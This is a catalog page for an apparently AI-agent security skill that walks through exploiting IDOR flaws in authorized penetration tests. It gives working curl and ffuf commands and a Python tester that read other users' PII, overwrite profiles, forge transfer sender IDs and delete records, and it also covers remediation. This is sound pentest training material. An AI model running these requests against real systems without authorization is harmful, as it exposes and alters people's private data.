
Exploiting Idor Vulnerabilities
- 244 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
exploiting-idor-vulnerabilities is a Claude Code security skill that finds and exploits broken object-level access control by manipulating resource identifiers during authorized penetration tests.
About
This skill walks through identifying and exploiting Insecure Direct Object Reference (IDOR) flaws by manipulating object identifiers in API requests and URLs. It maps object-referencing endpoints, configures the Burp Authorize extension to replay requests as a second user, and tests horizontal, vertical, and non-obvious IDOR across CRUD operations. A developer uses it during an authorized penetration test to confirm that object-level authorization is enforced. It needs two test accounts and a written testing agreement.
- Tests horizontal, vertical, and body/header IDOR across CRUD
- Configures Burp Authorize to replay requests as another user
- Checks numeric, UUID, base64, hashed and slug ID formats
- Validates object-level authorization in multi-tenant apps
Exploiting Idor Vulnerabilities by the numbers
- 244 all-time installs (skills.sh)
- +27 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #697 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
exploiting-idor-vulnerabilities capabilities & compatibility
Free skill; requires Burp Suite Professional separately.
- Capabilities
- idor testing · access control testing · authorization testing · bola testing
- Use cases
- security audit · testing · api development
- Pricing
- Free
What exploiting-idor-vulnerabilities says it does
Identifying and exploiting Insecure Direct Object Reference vulnerabilities
For validating that object-level authorization is enforced across all CRUD operations
Compare responses - if both return 200 with data, IDOR is confirmed
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-idor-vulnerabilitiesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 244 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
Can a user access another user's records just by changing the object ID in a request?
Testing object-level authorization by swapping resource IDs across two accounts during an authorized pentest.
Who is it for?
Penetration testers and developers verifying that users cannot reach other users' resources by changing IDs in multi-tenant apps.
Skip if: Testing without a written agreement, or teams wanting to build authorization controls rather than break them.
When should I use this skill?
During authorized pentests when APIs or pages use predictable identifiers in URLs or bodies and object-level authorization must be validated.
What you get
A list of endpoints where swapping an object identifier returns unauthorized data or performs unauthorized writes.
- Map of every endpoint referencing objects by ID
- Confirmed horizontal and vertical IDOR findings with proof requests
- Notes on write-based IDOR via POST/PUT/DELETE
By the numbers
- 4 MITRE ATT&CK technique references (T1190, T1059.007, T1505.003, T1083)
- Tests 5 ID formats: numeric, UUID, base64, hashed, slug
Files
Exploiting IDOR Vulnerabilities
When to Use
- During authorized penetration tests when testing access control on resource endpoints
- When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies
- For validating that object-level authorization is enforced across all CRUD operations
- When testing multi-tenant applications where users should only access their own data
- During bug bounty programs targeting broken access control vulnerabilities
Prerequisites
- Authorization: Written penetration testing agreement for the target application
- Burp Suite Professional: With Authorize extension installed from BApp Store
- Two test accounts: At least two separate user accounts with different permission levels
- Burp Authorize Extension: For automated IDOR testing across sessions
- curl/httpie: For manual request crafting
- Browser: Configured to proxy through Burp Suite
Workflow
Step 1: Map All Object References in the Application
Identify every endpoint that references objects by ID across the application.
# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references
# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}
# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}
# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doeStep 2: Configure Burp Authorize Extension for Automated Testing
Set up the Authorize extension to automatically replay requests with a different user's session.
# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
# - Add User B's cookies in "Replace cookies" section
# - Or add User B's Authorization header in "Replace headers"
# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>
# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"
# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)Step 3: Test Horizontal IDOR (Same Privilege Level)
Attempt to access resources belonging to another user at the same privilege level.
# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."
# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile" | jq .
# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | jq .
# Compare responses - if both return 200 with data, IDOR is confirmed
# Test across different resource types
for resource in profile orders invoices messages documents; do
echo "--- Testing $resource ---"
# User A's resource
curl -s -o /dev/null -w "Own: %{http_code} " \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/$resource"
# User B's resource
curl -s -o /dev/null -w "Other: %{http_code}\n" \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/$resource"
done
# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked"}' \
"https://target.example.com/api/v1/users/102/profile"Step 4: Test Vertical IDOR (Cross Privilege Level)
Attempt to access admin or elevated resources with a regular user token.
# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/1/profile" | jq .
# Try accessing admin-specific resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/admin/reports/1" | jq .
# Test accessing resources across organizational boundaries
# User in Org A trying to access Org B's resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/organizations/2/settings" | jq .
# Test file download IDOR
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdfStep 5: Test IDOR in Non-Obvious Locations
Look for IDOR in request bodies, headers, and indirect references.
# IDOR in request body parameters
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
"https://target.example.com/api/v1/transfers"
# Change sender_id to another user
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
"https://target.example.com/api/v1/transfers"
# IDOR in file references
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"
# IDOR in GraphQL
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
"https://target.example.com/graphql"
# IDOR via parameter pollution
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile?user_id=102"
# IDOR in bulk operations
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"ids": [101, 102, 103, 104, 105]}' \
"https://target.example.com/api/v1/users/bulk"Step 6: Enumerate and Escalate Impact
Determine the full scope of data exposure through IDOR.
# Enumerate valid object IDs
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
-w <(seq 1 500) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 20 \
-o valid-users.json -of json
# Count total accessible records
jq '.results | length' valid-users.json
# Check what sensitive data is exposed per record
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | \
jq 'keys'
# Look for: email, phone, address, ssn, payment_info, password_hash
# Test IDOR on state-changing operations
# Can User A delete User B's resources?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/posts/1" \
-w "%{http_code}"
# WARNING: Only test DELETE on known test data, never on real user dataKey Concepts
| Concept | Description |
|---|---|
| Horizontal IDOR | Accessing resources belonging to another user at the same privilege level |
| Vertical IDOR | Accessing resources requiring higher privileges than the current user has |
| Direct Object Reference | Using a database key, file path, or identifier directly in API parameters |
| Indirect Object Reference | Using a mapped reference (e.g., index) that the server resolves to the actual object |
| Object-Level Authorization | Server-side check that the requesting user is authorized to access the specific object |
| Predictable IDs | Sequential numeric identifiers that allow easy enumeration of valid objects |
| UUID Randomness | Using UUIDv4 makes enumeration harder but does not replace authorization checks |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing |
| Authorize (Burp Extension) | Automated IDOR testing by replaying requests with different user sessions |
| AutoRepeater (Burp Extension) | Automatically repeats requests with modified authorization headers |
| Postman | API testing with environment variables for switching between user contexts |
| ffuf | Fast fuzzing of object ID parameters |
| OWASP ZAP | Free proxy alternative with access control testing plugins |
Common Scenarios
Scenario 1: Invoice Download IDOR
The /invoices/{id}/download endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.
Scenario 2: User Profile Data Leak
The /api/users/{id} endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.
Scenario 3: File Access via Path Manipulation
A document management system stores files at /files/{user_id}/{filename}. By changing the user_id path segment, users can access private documents uploaded by other users.
Scenario 4: Message Thread Hijacking
A messaging endpoint at /api/conversations/{id}/messages allows any authenticated user to read messages in any conversation by changing the conversation ID.
Output Format
## IDOR Vulnerability Finding
**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/v1/users/{id}/profile
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Authenticate as User A (ID: 101) and obtain JWT token
2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
4. Observe that User B's full profile is returned including PII
### Affected Endpoints
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | Read PII of any user |
| /api/v1/users/{id}/orders | GET | Read order history of any user |
| /api/v1/users/{id}/profile | PUT | Modify profile of any user |
| /api/v1/invoices/{id}/download | GET | Download any user's invoices |
### Impact
- 15,000+ user profiles accessible (enumerated IDs 1-15247)
- Exposed fields: name, email, phone, address, date_of_birth
- Write IDOR allows profile modification of other users
- Violates GDPR data access controls
### Recommendation
1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
3. Log and alert on sequential ID enumeration patterns
4. Implement rate limiting on resource endpoints
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: IDOR Vulnerability Testing Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP client for API endpoint testing |
CLI Usage
python scripts/agent.py \
--url https://target.example.com \
--token-a "eyJ..." --token-b "eyJ..." \
--endpoints "/api/v1/users/{id}/profile" "/api/v1/orders/{id}" \
--own-id 101 --other-id 102 \
--output idor_report.jsonIDORTester Class
__init__(base_url, user_a_token, user_b_token, verify_ssl)
Creates two requests.Session objects with different Bearer tokens for cross-user testing.
test_horizontal_idor(endpoint_template, own_id, other_id, method) -> dict
Accesses own resource then another user's resource with the same token. IDOR confirmed when both return 200 with different content.
test_vertical_idor(endpoint, method) -> dict
Accesses admin-only endpoints with a regular user token. Status 200 indicates missing authorization.
test_id_enumeration(endpoint_template, id_range, method) -> dict
Iterates over an ID range to discover valid objects. Returns count and sample IDs.
test_write_idor(endpoint_template, other_id, payload) -> dict
Sends PUT with another user's ID to test write-based IDOR. Status 200/201/204 indicates vulnerability.
test_cross_session(endpoint_template, resource_id) -> dict
Compares response hashes between two sessions for the same resource to detect missing authorization checks.
generate_report() -> dict
Returns all accumulated findings with severity assessment.
Output Schema
{
"target": "https://target.example.com",
"total_findings": 2,
"findings": [{"type": "horizontal", "endpoint": "/api/v1/users/{id}/profile", "vulnerable": true}],
"severity": "High"
}#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""IDOR vulnerability detection agent using requests with multi-session comparison."""
import argparse
import json
import logging
import sys
import hashlib
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
class IDORTester:
"""Tests for Insecure Direct Object Reference vulnerabilities."""
def __init__(self, base_url: str, user_a_token: str, user_b_token: str,
verify_ssl: bool = False):
self.base_url = base_url.rstrip("/")
self.verify = verify_ssl
self.session_a = requests.Session()
self.session_a.headers.update({"Authorization": f"Bearer {user_a_token}"})
self.session_a.verify = verify_ssl
self.session_b = requests.Session()
self.session_b.headers.update({"Authorization": f"Bearer {user_b_token}"})
self.session_b.verify = verify_ssl
self.findings = []
def _response_hash(self, resp: requests.Response) -> str:
return hashlib.md5(resp.content).hexdigest()
def test_horizontal_idor(self, endpoint_template: str, own_id: str,
other_id: str, method: str = "GET") -> dict:
"""Test horizontal IDOR by accessing another user's resource."""
own_url = f"{self.base_url}{endpoint_template.replace('{id}', own_id)}"
other_url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}"
own_resp = self.session_a.request(method, own_url, timeout=10)
other_resp = self.session_a.request(method, other_url, timeout=10)
vulnerable = (
other_resp.status_code == 200
and own_resp.status_code == 200
and self._response_hash(other_resp) != self._response_hash(own_resp)
)
result = {
"type": "horizontal",
"endpoint": endpoint_template,
"method": method,
"own_status": own_resp.status_code,
"other_status": other_resp.status_code,
"vulnerable": vulnerable,
"own_content_length": len(own_resp.content),
"other_content_length": len(other_resp.content),
}
if vulnerable:
self.findings.append(result)
logger.warning("IDOR FOUND: %s %s", method, endpoint_template)
return result
def test_vertical_idor(self, endpoint: str, method: str = "GET") -> dict:
"""Test vertical IDOR by accessing admin endpoints with regular user token."""
url = f"{self.base_url}{endpoint}"
resp = self.session_a.request(method, url, timeout=10)
vulnerable = resp.status_code == 200
result = {
"type": "vertical",
"endpoint": endpoint,
"method": method,
"status_code": resp.status_code,
"vulnerable": vulnerable,
"content_length": len(resp.content),
}
if vulnerable:
self.findings.append(result)
logger.warning("Vertical IDOR: %s %s (status=%d)", method, endpoint, resp.status_code)
return result
def test_id_enumeration(self, endpoint_template: str, id_range: range,
method: str = "GET") -> dict:
"""Enumerate valid object IDs via response code analysis."""
valid_ids = []
for obj_id in id_range:
url = f"{self.base_url}{endpoint_template.replace('{id}', str(obj_id))}"
try:
resp = self.session_a.request(method, url, timeout=5)
if resp.status_code == 200:
valid_ids.append(obj_id)
except requests.RequestException:
continue
logger.info("Enumerated %d valid IDs in range %d-%d", len(valid_ids),
id_range.start, id_range.stop)
return {
"endpoint": endpoint_template,
"range_tested": f"{id_range.start}-{id_range.stop}",
"valid_ids_found": len(valid_ids),
"sample_ids": valid_ids[:10],
}
def test_write_idor(self, endpoint_template: str, other_id: str,
payload: dict) -> dict:
"""Test write-based IDOR via PUT/PATCH with another user's ID."""
url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}"
resp = self.session_a.put(url, json=payload, timeout=10)
vulnerable = resp.status_code in (200, 201, 204)
result = {
"type": "write_idor",
"endpoint": endpoint_template,
"method": "PUT",
"target_id": other_id,
"status_code": resp.status_code,
"vulnerable": vulnerable,
}
if vulnerable:
self.findings.append(result)
logger.warning("Write IDOR: PUT %s (status=%d)", endpoint_template, resp.status_code)
return result
def test_cross_session(self, endpoint_template: str, resource_id: str) -> dict:
"""Compare responses between two authenticated sessions for the same resource."""
url = f"{self.base_url}{endpoint_template.replace('{id}', resource_id)}"
resp_a = self.session_a.get(url, timeout=10)
resp_b = self.session_b.get(url, timeout=10)
same_response = self._response_hash(resp_a) == self._response_hash(resp_b)
result = {
"endpoint": endpoint_template,
"resource_id": resource_id,
"user_a_status": resp_a.status_code,
"user_b_status": resp_b.status_code,
"same_response": same_response,
"missing_authz": resp_a.status_code == 200 and resp_b.status_code == 200 and same_response,
}
return result
def generate_report(self) -> dict:
"""Compile IDOR assessment results."""
return {
"target": self.base_url,
"total_findings": len(self.findings),
"findings": self.findings,
"severity": "High" if self.findings else "None",
}
def main():
parser = argparse.ArgumentParser(description="IDOR Vulnerability Testing Agent")
parser.add_argument("--url", required=True, help="Base URL of the target API")
parser.add_argument("--token-a", required=True, help="JWT token for User A")
parser.add_argument("--token-b", required=True, help="JWT token for User B")
parser.add_argument("--endpoints", nargs="+", default=["/api/v1/users/{id}/profile"])
parser.add_argument("--own-id", default="101", help="User A's resource ID")
parser.add_argument("--other-id", default="102", help="User B's resource ID")
parser.add_argument("--output", default="idor_report.json")
args = parser.parse_args()
tester = IDORTester(args.url, args.token_a, args.token_b)
all_results = []
for ep in args.endpoints:
result = tester.test_horizontal_idor(ep, args.own_id, args.other_id)
all_results.append(result)
report = tester.generate_report()
report["test_details"] = all_results
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()
Related skills
FAQ
What kinds of IDOR does it test?
Horizontal IDOR at the same privilege level, vertical IDOR across privilege levels, and IDOR hidden in request bodies, headers, and indirect references.
What setup does it require?
A written penetration testing agreement, Burp Suite Professional with the Authorize extension, and at least two test accounts with different permission levels.
How does it confirm a finding?
By comparing responses when User A's token is used to request User B's resources; if both return 200 with data, IDOR is confirmed.